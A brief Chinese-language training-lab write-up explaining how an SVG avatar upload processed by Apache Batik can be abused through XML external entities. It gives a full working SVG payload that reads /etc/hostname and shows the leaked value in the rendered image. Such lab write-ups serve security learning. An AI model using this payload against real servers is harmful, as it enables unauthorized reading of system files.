# XXE La8 這題是利用 SVG 圖檔裡的 XXE 來偷機器 hostname。 簡單來說: 這個網站用 Apache Batik 處理上傳的 SVG 圖片,SVG 本質是 XML 格式,可以塞進 XXE payload,你塞的實體會讀取 `/etc/hostname` 檔案內容,當 SVG 被渲染時,文字裡會顯示出 hostname,像一張「畫有 hostname 的圖片」。 一樣進入網站。 ![image](https://hackmd.io/_uploads/Hk65Sr7Hgl.png) 在設定大頭貼的時候,把下面的 payload 存成 .svg 上傳: ```xml <?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> //定義了一個外部實體 xxe,它會去讀伺服器的 /etc/hostname 檔案,把內容當成文字放進來。 <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16">&xxe;</text> //在 SVG 畫布上放一段文字,文字內容是 &xxe;,也就是 /etc/hostname 的檔案內容。 </svg> ``` ![image](https://hackmd.io/_uploads/SJclFSXrxx.png) - 把剛剛這個 SVG 檔案當作大頭貼(avatar)上傳 到 Lab 的留言系統。 - 伺服器用 Apache Batik 解析這張 SVG,觸發 XXE,讀出 /etc/hostname。 - 你刷新留言頁面時,看到的這張「圖」會直接顯示那個 hostname 字串,變成留言裡一段文字。 ![image](https://hackmd.io/_uploads/By3U3HmSge.png) `698872564ec4` ![image](https://hackmd.io/_uploads/H1qihrXSel.png) ---